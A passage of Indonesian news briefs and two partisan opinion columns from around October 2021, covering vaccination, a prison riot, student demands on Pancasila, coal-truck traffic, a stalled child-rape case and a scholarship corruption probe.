itu, Pemerintah Daerah bersama TNI/Polri di Malut menargetkan sekitar 2.000 dosis per hari dalam pelaksanaan vaksinasi merdeka secara serentak bagi warga yang dipusatkan di Dhuafa Center Ternate. (sws)

Biro Humas MPR Terima Perwakilan Demonstran Mahasiswa

Jakarta, FNN - Kepala Biro Humas dan Sistem Informasi Sekretariat Jenderal (Setjen) MPR RI Siti Fauziah menerima delapan mahasiswa perwakilan beberapa perguruan tinggi yang tergabung dalam Konsolidasi Mahasiswa Nasional Indonesia (Komando), yang melakukan aksi demonstrasi di depan Gedung Parlemen, Kamis (7/10). Para mahasiswa tersebut berasal dari berbagai universitas seperti Universitas Pakuan Bogor, Universitas Pamulang (Unpam), Universitas Muhammadiyah Jakarta (UMJ), dan Universitas Muhammadiyah Sukabumi. "Tugas dan Fungsi (Tusi) kami di MPR adalah menyerap aspirasi masyarakat termasuk dari para mahasiswa Indonesia. Kami menyambut hangat kalian semua, kami akan mendengarkan dan menampung aspirasi yang ingin disampaikan, lalu nanti akan kami teruskan kepada Pimpinan MPR," kata Siti Fauziah dalam keterangannya di Jakarta, Jumat. Para mahasiswa tersebut menyampaikan aspirasinya di Ruang GBHN, Gedung Nusantara V, Kompleks Parlemen, Jakarta, Kamis (7/10). Pimpinan Delegasi yang merupakan Presidium Komando Jakarta Selatan Misbahul Anwar menyampaikan pernyataan sikap dan tuntutan resmi, pertama; mendesak pembahasan penataan sistem hukum dan peraturan perundang-undangan berdasarkan Pancasila sebagai sumber dari segala sumber hukum. Kedua, menurut dia, memastikan Pancasila memiliki fungsi hukum yang mengikat dan memaksa; dan ketiga, meletakkan Pancasila sebagai hierarki tertinggi, wujud dari kepastian Pancasila sebagai sumber dari segala sumber hukum. Misbahul menyampaikan apresiasi atas sambutan dan penerimaan dari Setjen MPR RI melalui Biro Humas MPR R yang mau menerima aspirasi para mahasiswa serta meneruskannya kepada Pimpinan MPR. "Perlu kami sampaikan, aksi dan tuntutan yang kami perjuangkan dan suarakan ini, adalah murni aspirasi kami mahasiswa berdasarkan kepentingan rakyat dan kami pastikan tidak ada yang menunggangi," ujarnya. Anggota delegasi Presidium Komando Tangerang Selatan Febriditya Ramdhan menjelaskan bahwa tuntutan tersebut lahir tidak secara mendadak namun sudah menjadi pembahasan dan perenungan sejak tahun 2018, saat Komando menyelenggarakan acara Konsolidasi Nasional dengan mengundang 48 kampus dari 21 provinsi. “Dalam acara tersebut, kami menghimpun berbagai permasalahan kebijakan yang ada di daerah masing-masing. Ketika kami telaah dan pahami, kami berpandangan bahwa setiap kebijakan daerah itu harus demi dan untuk kepentingan rakyat," katanya. Karena itu menurut dia, para mahasiswa atas nama Tridharma Perguruan Tinggi, yakni Pendidikan, Penelitian dan Pengabdian Kepada Masyarakat, meminta Pancasila ditempatkan di hierarki tertinggi sebagai penyaring dalam perumusan peraturan perundang-undangan. Menanggapi tuntutan mahasiswa tersebut, Siti Fauziah mengatakan akan menyampaikan semua aspirasi para mahasiswa tersebut kepada Pimpinan MPR dan berharap yang terbaik bagi bangsa dan negara. Dalam kesempatan tersebut, Siti Fauziah didampingi Kepala Biro Sekretariat Pimpinan Setjen MPR Heri Heriawan dan Kepala Bagian Pemberitaan dan Hubungan Antarlembaga Biro Humas dan Sistem Informasi Setjen MPR Budi Muliawan. (sws)

Kemenkumham Sulteng: Situasi Lapas Parigi Moutong Sudah Kondusif

Parigi Moutong, FNN - Kantor Wilayah (Kanwil) Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) Sulawesi Tengah menyatakan saat ini kondisi Lembaga Pemasyarakatan (Lapas) Kelas III Parigi Moutong sudah kondusif usai kerusuhan yang melibatkan warga binaan dengan petugas penjagaan. "Para warga binaan telah menyampaikan komitmennya, kondisi saat ini sudah kondusif, mereka berperilaku seperti biasa dan tertib, saat ini sedang membersihkan sisa barang-barang yang rusak," kata Kepala Kantor Wilayah (Kanwil) Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) Sulawesi Tengah Lilik Sujandi di Lapas Parigi Moutong, Sulawesi Tengah, Jumat. Saat ini, Kepala Kantor Wilayah (Kanwil) Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) Sulawesi Tengah mengambil alih kepemimpinan di Lapas Parigi Moutong hingga masa pemulihan selesai. Sejumlah petugas yang diduga telah melakukan tindak kekerasan terhadap warga binaan akan diperiksa. Lilik juga telah mencabut status para petugas tersebut dari Lapas Kelas III Parigi dan dipindahkan ke wilayah kerja Kanwil Kemenkumham Sulteng. "Evaluasi kita, beberapa pegawai yang melakukan perilaku yang tidak semestinya kepada warga binaan akan dilakukan pemeriksaan oleh penyidik dalam hal ini Polres Parimo. Sejak Kamis malam, saya nyatakan dicabut dari Lapas Parigi, dan saya tempatkan pada pegawai kantor wilayah," tegasnya. "Sambil menunggu dengan proses secara transparan, bagi siapa yang salah akan kita tindak sebagaimana mekanismenya," tambahnya. Lilik menegaskan, apapun kesalahan yang dilakukan warga binaan, petugas dilarang melakukan tindak kekerasan dalam bentuk apapun. "Tidak mesti tindakan kekerasan. Itu dilarang oleh norma dan hak asasi manusia," tuturnya. Sebelumnya, narapidana dan tahanan di Lapas Kelas III Parigi Moutong mengamuk dan membuat kericuhan. Informasi yang diterima, keributan tersebut terjadi akibat tindakan kekerasan oknum sipir, yang menyulut kemarahan narapidana hingga berujung kericuhan sejak Kamis (07/10) sore. Dalam peristiwa itu, narapidana juga sempat membakar kasur dan kursi kayu di luar blok tahanan, hingga berupaya menerobos pintu lapas, dan sebagian besar ruangan kantor dikuasai ratusan narapidana dan tahanan. Tidak hanya itu, sempat terjadi aksi lempar batu dan sejumlah botol kaca ke arah petugas yang mencoba menenangkan narapidana di sisi tengah gerbang utama menuju ruang tahanan. Guna meredam situasi itu agar tidak menimbulkan keributan meluas, polisi melakukan pengamanan dengan personel gabungan. (sws)

Dewan HAM PBB Tunjuk Pelapor Khusus Tentang Afghanistan

Jenewa, FNN - Dewan Hak Asasi Manusia PBB pada Kamis (7/10) sepakat untuk menunjuk pelapor khusus di Afghanistan guna menyelidiki pelanggaran yang dilakukan oleh kelompok Taliban dan pihak-pihak bertikai lainnya di negara itu. Pemungutan suara mengenai resolusi yang diajukan oleh Uni Eropa mendapat dukungan 28 suara, dengan lima negara termasuk China, Pakistan dan Rusia menolak skema tersebut. Forum beranggotakan 47 negara tersebut juga mencatat 14 suara abstain. Pelapor khusus di Afghanistan akan mulai bertugas pada Maret dan didukung oleh para pakar PBB dalam analisis hukum, forensik, dan hak-hak kaum perempuan, menurut resolusi Uni Eropa. Komisaris Tinggi PBB Michelle Bachelet mendapatkan mandat dari Dewan untuk mengawasi situasi Afghanistan sampai Maret. (sws) Sumber: Reuters

Disdukcapil Agam Layani Penyesuaian NIK Saat Gebyar Vaksinasi

Lubuk Basung, FNN - Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Kabupaten Agam, Sumatera Barat menyediakan pelayanan untuk penyesuaian nomor induk kependudukan (NIK) saat gebyar vaksinasi di GOR Rang Agam dalam mengantisipasi data yang tidak cocok. Kepala Disdukcapil Agam, Helton di Lubukbasung, Kamis mengatakan pelayanan itu telah dilakukan dua hari pelaksanaan gebyar vaksinasi di GOR Rang Agam. "Kita menyediakan empat orang petugas dan pelayanan itu akan berlanjut saat pelaksanaan vaksinasi lainnya. Dimana lokasi vaksinasi, kita akan ada melayani NIK," katanya. Pelayanan itu untuk mengabdet NIK yang bermasalah atau keluar nama orang lain saat vaksinasi. Dengan temuan itu, petugas bakal memperbaiki NIK yang tidak update, sehingga NIK itu akan akurat. "Selama ini NIK ada yang bermasalah dan kita yang memperbaiki atau mengantisipasinya," katanya. Bagi pelayanan vaksinasi di Puskesmas yang bermasalah NIK, tambahnya petugas vaksinator mengirimkan foto KTP dan KK ke sentral pelayanan dokumen kependudukan Disdukcapil Agam. Setelah itu, petugas bakal memperbaiki NIK tersebut. Pelayanan itu dilakukan mengingat petugas pelayanan Disdukcapil Agam sangat terbatas. "Ini bentuk antisipasi kita bagi NIK yang tidak apdate," katanya. Ia menambahkan, Disdukcapil Agam juga membuka pelayanan dokumen kependudukan berupa cetak KTP-El bagi pelajar yang berusia diatas 17 tahun dan memperbaiki KTP warga yang rusak. Ini untuk memudahkan warga dalam mengurus dokumen kependudukan. "Kita mendekatkan pelayanan bagi masyarakat," katanya. Sementara Kapolres Agam, AKBP Dwi Nur Setiawan menambahkan jumlah peserta vaksinasi sebanyak 1.368 orang pada Rabu (6/10). Ke 1.368 orang yang divaksinasi itu dengan rincian tahap pertama 1.292 orang dan tahap dua 76 orang. (sws)

Moderasi Beragama Bukan Ambivalensi

By Rizal Fadillah DIKSI moderasi beragama menjadi aktual dan memasyarakat. Dipahamkan bahwa moderasi adalah lawan dari radikalisasi dan intoleransi. Sebagian mengkhawatirkan jalan tengah ini sebagai sikap mengambang dalam beragama. Lebih parah jika moderasi dimaknai dengan ambivalensi. Hilang konsistensi. Kemendikbud tengah merancang kurikulum moderasi beragama tujuannya untuk melawan sikap intoleransi. Ada bau amis dari rancangan ini yaitu tendensi untuk melemahkan keyakinan beragama demi berhala toleransi. Apalagi Kemendikbud di bawah Nadiem pernah menggoreskan cacat ideologi dengan membuat road map pendidikan dengan membuang narasi "agama". Indikasi bahwa kiri sedang mengatur negeri dengan menunggangi moderasi. Moderasi berangkat dari kalimah atau ayat "ummatan wasathan" yaitu umat pertengahan sebagaimana termaktub dalam QS Al Baqarah 143. Lengkapnya : "Dan demikian Kami menjadikan kamu ummat wasathan agar kamu menjadi saksi atas umat manusia dan agar Rosul menjadi saksi atasmu". "Wasath" artinya tengah. "ummatan wasathan" adalah umat pertengahan yang seimbang, adil dan tentu juga unggul. Al Zubaidi memaknai "wasath" itu paling utama (afdhal) Fairuz Zabadi "wasath" berarti paling adil (a'daluhu). Ketika menafsirkan ayat "ummatan wasathan" At Thobari menegaskan sebagai umat yang "al khiyar wa al ajwad" umat pilihan dan yang terbaik. Basis pemaknaan "ummatan wasathan" tidak menunjukkan sikap lemah, tidak kesana kesini, atau munafik (ambivalen). Bahkan sama sekali tidak berhubungan dengan toleran atau tidak toleran. Tengah itu sentral yang menjadi penentu. Makna konstruktifnya adalah umat yang menjadi nucleus atau inti dari berbagai konfigurasi budaya, ekonomi, ataupun politik. Makna komprehensifnya yakni umat yang beribadah, bermuamalah, dan berjihad fi sabilillah. Umat yang menempatkan agama bukan sebagai bagian kecil dari kehidupan tetapi menjadi nilai fundamental dan instrumental untuk suatu keyakinan bahwa agama adalah nilai utuh penyelamat hidup di dunia dan akherat. Moderasi sebagai sikap dan cara pandang untuk memperlemah keyakinan agama jelas salah. Terlebih jika dimaknai kehilangan konsistensi atau penyebab ambivalensi atau berwatak bunglon. Berganti ganti warna yang tergantung situasi, berganti-ganti jilatan tergantung majikan. Moderasi "wasathan" menurut Al Qur'an adalah membangun keunggulan. Keunggulan kompetitif dengan berlomba dalam kebaikan "fastabiqul Khoirot". Dua kalimah penting "agar kamu menjadi saksi atas umat manusia" dan "agar Rosul menjadi saksi atasmu". Saksi itu bukan bermakna toleransi tetapi berposisi sebagai penanggungjawab, pemimpin, sekaligus pembukti dari kerja kolektif. Disanalah Nabi dan umatnya itu berada. Adapun toleransi adalah sikap yang sudah melekat dengan ajaran agama sebagai konsekuensi dari pengakuan atas kemajemukan. Nah, moderasi tidak boleh dijadikan upaya untuk menipiskan keyakinan beragama apalagi membuangnya. Jika arahnya ke sana bukan saja umat akan menolak tapi wajar untuk lebih mewaspadai dan mengkonsolidasikan diri dalam melawan kekuasaan kriminal yang mencoba untuk meminggirkan agama. *) Pemerhati Politik dan Kebangsaan

PKS Keles, PKS Choi

Oleh: Yusuf Blegur USAI mengadakan acara Tirakat Kebangsaan yang disiarkan secara live di PKSTV tanggal 7 Oktober 2021, Partai Keadilan Sejahtera (PKS) seakan menegaskan bahwa kehadirannya tidak sekedar menjadi partai politik yang berbasis dakwah dan gerakan keagamaan semata. Melalui refleksi dan evaluasi kritis terhadap tabir gelap sejarah komunis di Indonesia. Termasuk dalam memaknai peristiwa G 30 S/PKI. Secara kepartaian mendukung dan membela Panca Sila terutama dari segala macam bentuk penghianatan yang mungkin berulang. PKS terus bertumbuh meneguhkan kecintaannya terhadap NKRI. PKS semakin membuktikan komitmen dan konsistensinya pada nasionalisme Indonesia. Bahkan dalam terpaan badai stigma dan stereotif PKS yang intoleran, radikalis dan fundamentalis. Partai politik yang lahir di penghujung kelahiran reformasi itu. Berhasil menapaki perjalanan politik dan memberi warna dinamika kebangsaan yang menyejukukan hingga saat ini. PKS mampu menjelma menjadi partai agama yang nasionalis, sekaligus partai nasionalis yang religius. Peran politik yang oposisional yang diambil PKS terhadap pemerintahan Jokowi selama hampir dua periode ini. Secara elegan membangun budaya demokrasi yang sehat dan proses edukasi bagi partisipan parpol lain khususnya dan rakyat pada umumnya. PKS tetap menampilkan fungsi kontrol dan sikap kritis terhadap pemerintahan dengan tidak menghilangkan perilaku yang santun. Cara-cara yang bermartabat dan solutif membangun peradaban. PKS juga berupaya keras menyuarakan realitas negeri dan aspirasi rakyat yang menguat namun terabaikan. Berbeda pandangan dan sikap politik dengan penguasa, namun tetap menghargai etika politik. Menyikapi perbedaan perspektif pengelolaan negara dengan tetap mengacu pada aspek konstitusional. Menunjukkan karakter kuat yang jarang dimiliki partai politik bahkan yang sudah sejak lama lahir dan berkiprah di Indonesia. Dengan platform partai dan sistem kaderisasi yang relatif unggul dibandingkan partai lain. Sejatinya PKS layak menyandang gelar partai kader berbasis ideologi, selain partai agama yang disandangnya. Perlahan tumbuh menjadi partai yang inklusif. Kini dalam kepemimpinan seorang Ustad Ahmad Syaikhu yang menjadi Presiden PKS. PKS tampil ramah dan hangat berinteraksi luas dengan seluruh elemen bangsa secara toleran, plural dan lebih humanis. PKS saat ini bisa dibilang menjadi partai politik yang progresif revolusioner namun tetap mengedepankan akhlakul karimah. Seperti keteladanan Nabi Muhammad Sallallahu Alaihi Wassalam yang diutus menjadi Rasul untuk memperbaiki akhlak umat manusia. Sebuah watak dan prinsip yang sulit ditemui di kebanyakan partai politik. Tidak tumbuh dan dibesarkan dengan kapitalisasi, liberalisasi dan terus memelihara pola transaksional dalam membangun partai dan anggota legislatif beserta kinerjanya. Seperti sistem pemilu selama ini dengan banyak kontestan partai politik yang terkontaminasi tradisi pragmatis dan bertujuan kekuasaan, ansih. Menghidupkan Panca Sila, Membangkitkan NKRI Di tengah kematian nilai-nilai Pancasila, terkikisnya keberadaan dan kedaulatan NKRI. Saat Rakyat hidup dalam kegundahan makna bernegara, dan kehilangan kepemimpinan nasional yang protektif terhadap rakyat. PKS secara spartan mengambil langkah-langkah nyata dan kongkrit dalam penyelamatan aspirasi rakyat. Meski tidak berada dalam kekuasaan pemerintahan dan tak mampu membendung beberapa distorsi kebijakan eksekutif maupun partai politik yang kuantitatif di parlemen. Posisioning politik PKS tidak kehilangan ketajaman dalam pendampingan dan advokasi kebijakan publik. Bersama civil society dan gerakan pro demokrasi lainnya. PKS terbukti giat bekerja di dalam dan di luar parlemen. Selain memperjuangkan lahirnya UU yang berpihak pada rakyat. PKS juga sering turun lapangan membela rakyat terpinggirkan dan tertindas. Tidak sedikit program pemerintah yang merugikan rakyat bahkan beresiko membahayakan eksistensi dan kedaulatan negara. PKS berani menyoroti dan tidak segan-segan menggugat kebijakan yang destruktif bagi iklim demokrasi, rasa keadilan dan penguatan ekonomi politik rakyat. PKS secara terbuka dan tegas juga sering membangun kontra opini dan kontra kebijakan pemerintah yang dianggap merugikan rakyat. Sebagaimana soal tindakan agresif dan represi terhadap umat Islam dan para Ulama. PKS nyaring bersuara bahkan sampai masuk pada pembahasan RUU perlindungan Ulama. Lantang mengingatkan bahayanya serbuan TKA itu juga sikap jelas PKS. Saat pandemi mencekik leher dan menghilangkan banyak nyawa rakyat. PKS memotong semua gaji anggota legislatifnya. Memberikan solusi bagi yang terdampak pandemi lebih efisien dan efektif. Sejuta hewan qurban bagi umat Islam yang merayakan hari raya Idul Adha. Perlindungan pedagang kecil dari kekerasan aparatur PPKM yang terlihat memilukan. Masih dalam soal ekonomi juga, PKS spontan menjawab kebijakan impor produk pertanian dari pemerintah dengan turun ke bawah dan membeli beras, jagung, bawang dll. dari petani langsung. Saat kebijakan pajak yang memberatkan rakyat kecil, PKS juga tidak tinggal diam. Begitulah cara PKS menyatu dengan arus bawah, tidak sekedar beropini dan cukup menyampaikan rasa prihatin pada penderitaan rakyat. PKS benar-benar hadir dalam memulihkan kesengsaraan rakyat. Menumpahkan simpati, menyebarkan empati dan mewujudkan kemanusiaan yang sejati. PKS justru merevitalisasi Panca Sila yang selama ini cuma sekedar jargon yang histeris. PKS juga kerap memanifestasikan NKRI kepada upaya menciptakan kesejahteraan rakyat ketimbang kebisingan slogan. PKS, terus menerus berproses mewujudkan Keindonesiaan yang membuka ruang kondusif bagi kebhinnekaan dan kemajemukan bangsa. PKS tidak statis menempatkan Panca Sila, UUD 1945 dan NKRI hanya dalam sebuah bingkai. Melainkan lebih dari itu menjadikan semua puzle-puzle terserak sebagai ruh dan jiwa dari potret mozaik Indonesia yang menakjubkan. Jadi kemana para representatif Islam phobia itu mengujar kebencian dan peran antagonisnya?. Kemana mereka bersembunyi dari kenyataan rakyat yang sesungguhnya?. Mungkin karena terlalu sering menuduh dan memvonis yang lain radikal, fundamentalis dan pengusung khilafah. Nasionalis gadungan itu tak menyadari kalau ia sendiri dan kelompoknya cuma bisa mewujudkan wawasan dan behavior kebangsaan hanya dengan korupsi, oligarki dan berkerumun dalam kekuasaan negara dan korporasi tirani. In syaa Allah, PKS bisa bercermin pada perjuangan Nabi Nuh Alaihi Salam yang berdakwah selama 950 tahun, namun pengikutnya yang relatif tidak banyak. Bahwasanya perjuangan menegakkan yang hak dan melawan yang batil. Seperti halnya mewujudkan keadilan dan kesejahteraan itu, tidak diukur dari soal berapa lama waktu atau berapa banyak jumlah. Akan tetapi nilai esensinya terletak pada seberapa kuat istiqomah dalam jalan dakwah untuk keagamaan, kenegaraan dan kebangsaan Indonesia. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari

Polda Jambi Gelar Rakor Terkait Lalulintas Mobil Batu Bara

Jambi, FNN - Kepolisian Daerah Jambi menggelar rapat koordinasi terkait jalur lalulintas angkutan batu bara yang belakangan ini timbul permasalahan antara pengemudi dan warga seperti lakalantas yang berujung aksi anarkis. Rapat koordinasi itu dilalukan untuk mencari solusi agar tidak ada lagi kejadian yang saling merugikan antara pengusaha batu bara dengan warga, kata Dirreskrimsus Polda Jambi, Kombes Pol Sigit Dany Setiyono, Kamis. Kasus terakhir dalam permasalahan lalulintas mobil truk batu bara yang di bakar beberapa hari lalu di Kecamatan Danau Teluk, Kota Jambi. Rapat koordinasi tersebut menindaklanjuti kejadian mobil truk batu bara yang dibakar oleh masyarakat tidak terjadi kembali. Dirreskrimsus Polda Jambi Kombes Pol Sigit Dany menyebutkan kita bersama instansi terkait kedepannya masyarakat tidak boleh main hakim sendiri untuk mengantisipasi hal tersebut. "Jangan main hakim sendiri, apalagi membakar mobil," katanya. Hari ini kita rapat koordinasi untuk pemecahan masalah dengan mencari solusi, terkait Lalulintas jalan mobil batu bara, yang mana terkadang masih ada sopir truk batu bara yang masih membandel dengan tidak ikut aturan yang telah ditentukan. Sementara itu Dir Lantas Polda Jambi Kombes Pol Heru Sutopo yang diwakili Wadir Lantas Kombes Pol Moh Lutfi menyampaikan, kita dari Ditlantas Polda Jambi, akan berkoordinasi dengan masing-masing Kasat Lantas Polres jajaran untuk segera melakukan koordinasi bersama instansi terkait di daerah. "Masing-masing dinas akan meningkatkan operasi penegakan hukum terhadap Lalulintas batu bara," kata Lutfi. Keputusannya terkait izin dan rute, rambu-rambu Lalulintas akan kita tertibkan sehingga semua sesuai prosedur. Sementara itu, dari Kementrian Perhubungan akan menerbitkan UU ODOL (Over Dimensi dan Over Loading) yaitu mobil yang melebihi tonase dalam pengangkutan batu bara dengan menerbitkan peraturan melebihi tonase. "Diharapkan para sopir mematuhi aturan jam jalan lewat batu bara," kata Lutfi. Kedepan pada 13 November nanti akan diundang pelaku usaha pertambangan, kontraktor, transportir dengan melakukan Rakor yang bertempat di Kantor Gubernur Jambi dengan mengundang ESDM Pusat, untuk solusi agar mengurangi kegiatan sehingga sopir yang kejar target tidak kebut-kebutan. (sws)

BP Jamsostek Gandeng Kejari Se-Kalsel Optimalisasi Program

Banjarmasin, FNN - BP Jamsostek menggandeng Kejaksaan Ngeri se-Provinsi Kalimantan Selatan untuk optimalisasi program jaminan sosial ketenagakerjaan di seluruh daerah di provinsi itu. Asisten Deputi Wilayah Bidang Kepesertaan BP Jamsostek, M Romdhoni di Banjaramsin, Kamis mengatakan, kerja sama yang ditandai dengan perpanjangan penandatanganan Memorandum of Understanding (MoU) tersebut juga untuk mewujudkan efektivitas penanganan masalah hukum perdata dan tata usaha negara serta penegakan hukum terhadap implementasi Jaminan Sosial Ketenagakerjaan. Kerja sama ini, tambah dia, juga untuk mendorong pelaksanaan Instruksi Presiden Nomor 2 Tahun 2021 tentang optimalisasi pelaksanaana Inpres untuk 19 Menteri, Kepala BKPM, Kepala BNPB, Jaksa Agung, Direksi DJSN, 34 Gubernur, 416 Bupati dan 98 wali kota di seluruh Indonesia, terkait optimalisasi pelaksanaan program Jaminan Sosial Ketenagakerjaan. Selain itu juga untuk membuat regulasi pendukung serta mengalokasikan anggaran yang bersumber dari APBN dan APBD masing-masing. "Kami ingin, kejaksaan bisa mendorong seluruh pemerintah daerah se Kalsel agar ASN maupun nonASn (honorer), RT, penggiat agama maupun relawan COVID-19 menjadi peserta Program Jaminan Sosial Ketenagakerjaan," katanya. Menurut dia, jaminan tersebut sangat penting dan sangat membantu masyarakat, apalagi bila ada peserta yang mengalami kecelakaan, maka biayanya tanpa batas. Begitu juga dengan yang mengalami kematian, maka keluarga peserta akan mendapatkan santunan hingga Rp42 juta ditambahkan dengan beasiswa bagi dua anak tertanggung hingga kuliah. Biaya tanggungannya juga cukup murah, hanya Rp16.800 per bulan dan bila dibayarkan daerah menjadi hanya Rp10.800, karena mendapatkan subsidi. Kepala Kejaksaan Tinggi Kalsel Rudi Prabowo Aji SH MH mengatakan, pihaknya akan terus mengawal program ini semaksimal mungkin, sehingga seluruh target yang diharapkan berjalan dengan baik. "Saya berharap, ini menjadi kerja sama yang bermanfaat bagi kedua belah," katanya. Dia berharap, seluruh honorer di pemerintah daerah, bisa menjadi peserta BPJS Ketenakerjaan sehingga mereka lebih terlindungi, terutama saat terjadi risiko kecelakaan kerja maupun kematian. Kerja sama ini, akan diperbaharui setiap tahun sepanjang membawa manfaat bagi masyarakat dan mendukung ke dua belah pihak dalam menjalankan tugas dan kewenangannya. Berdasarkan data hingga September 2021 kepesertaan BPJS Ketenagakerjaan se-Kalimantan Selatan mencapai 382.746 orang yang terdiri dari tenaga kerja formal (PU) sebanyak 270.951 orang. Kemudian tenaga kerja informal sebanyak 33.041 orang dan tenaga kerja jasa konstruksi sebanyak 78.754 orang. Dari jumlah tersebut, sebanyak 2.534 orang merupakan pekerja nonASN atau honor Pemda. Data Pembayaran Jaminan Provinsi Kalimantan Selatan hingga September 2021 BPJamsostek telah melakukan pembayaran klaim hingga Rp336 miliar dari 33.172 kasus. Adapun realisasi kerja sama dengan Kejaksaan Negeri se-Kalimantan Selatan 2021 berupa penyelesaian kasus surat kuasa khusus SKK (Piutang Iuran dan PWBD) sebanyak 13 SKK dan pemulihan iuran sebesar Rp.108.137.709 atau 5 %. (sws)

Kepolisian Diharapkan Tinjau Kembali Kasus Pemerkosaan Luwu Timur

Jakarta, FNN - Kepolisian diharapkan dapat meninjau kembali kasus pemerkosaan tiga anak yang telah dihentikan oleh Polres Luwu Timur, Sulawesi Selatan, pada 2019, kata Anggota Komisi III DPR RI Hinca IP Pandjaitan XIII. Alasannya, publik menaruh harapan besar kepada kepolisian untuk mendalami kembali kasus tersebut sehingga korban mendapat keadilan, kata Hinca saat ditemui di Jakarta, Kamis. “Oleh karena itu, harapan publik minta ini jangan langsung di-stop. Harus dibongkar, karena ini menyangkut rasa keadilan,” sebut Hinca. “Saya minta teman-teman kepolisian segera membukanya lagi,” tambah Anggota Komisi III DPR RI itu. Hinca pun mengusulkan jika kasus itu telah diusut oleh Polres Luwu Timur dan Polda Sulawesi Selatan, maka Polri dapat membantu meninjau kembali. “Saya setuju kalau publik mendesak ini agar kepolisian sekali lagi membukanya. Sebaiknya, kalau itu di level Polres atau Polsek naik ke atas satu tingkat. Kalau di level Polres, Polda-nya yang turun membantu. Kalau di Polda, (Mabes) Polri yang turun (membantu),” sebut Hinca. Ia lanjut menyampaikan kepolisian memiliki berbagai macam perangkat dan kemampuan untuk mengusut kasus pidana, termasuk pemerkosaan. “Negara membiayai-nya. Negara memberinya perangkat. Negara memberinya fasilitas untuk itu. Saya yakin, harusnya bisa dia (kepolisian) membongkarnya,” tegas Hinca. Ia pun yakin Kapolri Jenderal Pol Listyo Sigit Prabowo tidak akan membiarkan ada korban yang tidak terpenuhi hak-haknya. “Setahu saya, Kapolri untuk hal-hal begini sekalipun kecil, jauh dari ibu kota negara, mereka sangat responsif. Mudah-mudahan ini juga direspon,” ujar Hinca. Kasus pemerkosaan tiga anak berusia di bawah 10 tahun di Luwu Timur kembali ramai dibicarakan publik setelah ada laporan jurnalistik dari sebuah media nasional yang mendalami keterangan ibu korban. Pelaku diduga adalah mantan suami ibu korban, yang aktif bekerja sebagai aparatur sipil negara. Ibu korban membuat laporan ke Polres Luwu Timur pada Oktober 2019. Penyidik di Polres Luwu Timur pun melakukan rangkaian penyelidikan berdasarkan laporan tersebut. Polres Luwu Timur lanjut membuat gelar perkara pada 5 Desember 2019. Namun, Polres pun menghentikan penyelidikan karena kurang bukti. (sws)

Wasekjen Demokrat Dukung Pembangunan Infrastruktur di Lapas

Jakarta, FNN - Wakil Sekretaris Jenderal DPP Partai Demokrat Agust Jovan Latuconsina menyatakan dukungan atas upaya Kementerian Hukum dan HAM dalam membangun infrastruktur dan fasilitas lembaga pemasyarakatan (Lapas) di Indonesia. Jovanm, dalam keterangan tertulis di Jakarta, Kamis, menyatakan peristiwa kebakaran di Lapas Kelas I Tangerang menjadi bahan evaluasi pemerintah sehingga tidak terulang kembali di masa depan. “Tragedi Lapas Tangerang harus menjadi yang terakhir. Jika kita cek, telah terjadi 13 kali kebakaran Lapas selama tiga tahun terakhir. Dimana 10 di antaranya tergolong melebihi kapasitas," kata Jovan. Alumni Akmil itu menegaskan persoalan Lapas yang melebihi kapasitas bukanlah hal baru. Lapas Tangerang yang dibangun tahun 1972 itu misalnya, dibangun untuk kapasitas 900 narapidana. Tetapi, saat ini harus menampung 2.072 orang narapidana. Selain persoalan infrastruktur, Jovan juga mendukung Kemenkumham untuk segera mengevaluasi permasalahan fasilitas di dalam Lapas. Dia mencontohkan, banyak Lapas yang memiliki sistem kelistrikan yang cukup lama belum diperbaiki. Akibatnya, lanjut Jovan, tragedi kebakaran akibat kerusakan sistem listrik terulang lagi. “Kita tidak boleh mencari kambing hitam, apalagi menyalahkan Menkumham. Ini tanggung jawab kita bersama. Bukan hanya tanggung jawab Menkumham dan jajarannya saja," kata Jovan menegaskan. Jovan mengingatkan, di dalam Lapas terdapat nyawa manusia. Mereka dibina oleh negara dan ditunggu oleh keluarganya. Setiap nyawa warga Lapas yang dibina itu tetaplah berharga. Jovan berpesan agar pemerintah betul-betul mengantisipasi perkembangan tren peningkatan kapasitas Lapas di masa mendatang, dengan membangun infrastruktur Lapas baru, guna menjawab tantangan kapasitas, fasilitas, penegakan aturan, dan aspek-aspek lainnya yang terkait dengan penanganan para warga binaan. “Beri mereka kesempatan untuk menjadi warga negara yang baik. Ini tanggung jawab kita semua,” harap Jovan. (sws)

Polda Aceh Tunggu Gelar Perkara Bareskrim Terkait Korupsi Beasiswa

Banda Aceh, FNN - Kepolisian RI Daerah (Polda) Aceh menyatakan masih menunggu jadwal gelar perkara dugaan tindak pidana korupsi beasiswa Pemerintah Aceh dengan nilai Rp22,3 miliar di Bareskrim Polri. Kepala Bidang Humas Polda Aceh Kombes Pol Winardy di Banda Aceh, Kamis, mengatakan gelar perkara dilakukan untuk memberi gambaran umum kepada penyidik terkait status hukum kasus yang ditangani. "Hingga kini, penyidik Direktorat Reserse Kriminal Khusus Polda Aceh yang menangani perkara tersebut masih menunggu jadwal gelar perkara di Bareskrim Polri di Jakarta," kata Kombes Pol Winardy. Sebelumnya, Kombes Pol Winardy menyatakan penyidik Direktorat Reserse Kriminal Khusus Polda Aceh mencari penambahan alat bukti terkait pengusutan dugaan tindak pidana korupsi beasiswa Pemerintah Aceh tersebut. Alat bukti tambahan tersebut, kata Kombes Pol Winardy, untuk memperkuat konstruksi hukum dugaan tindak pidana yang dilakukan sebelum penetapan tersangkanya. "Penyidik sudah melakukan gelar perkara. Hasilnya, seluruh peserta gelar perkara sepakat masih diperlukan penambahan alat bukti sebelum penetapan tersangkanya," kata Kombes Winardy. Selain penambahan alat bukti, kata Winardy, penyidik juga mengajukan permohonan asistensi dari Badan Reserse Kriminal (Bareskrim) Polri guna menuntaskan penanganan kasus itu. "Dengan adanya penambahan alat bukti serta asistensi Bareskrim Polri diharapkan bisa mempercepat penyelesaian penyidikan, sehingga bisa secepatnya gelar perkara berikutnya dan penetapan siapa saja tersangkanya," kata Winardy. Pemerintah Aceh pada tahun anggaran 2017 mengalokasikan anggaran Rp22,3 miliar lebih untuk beasiswa mahasiswa program studi, mulai diploma tiga hingga doktoral atau S3. Anggaran beasiswa tersebut ditempatkan di Badan Pengembangan Sumber Daya Manusia (BPSMD) Aceh. Beasiswa tersebut disalurkan kepada 803 penerima dengan realisasi mencapai Rp19,8 miliar lebih. 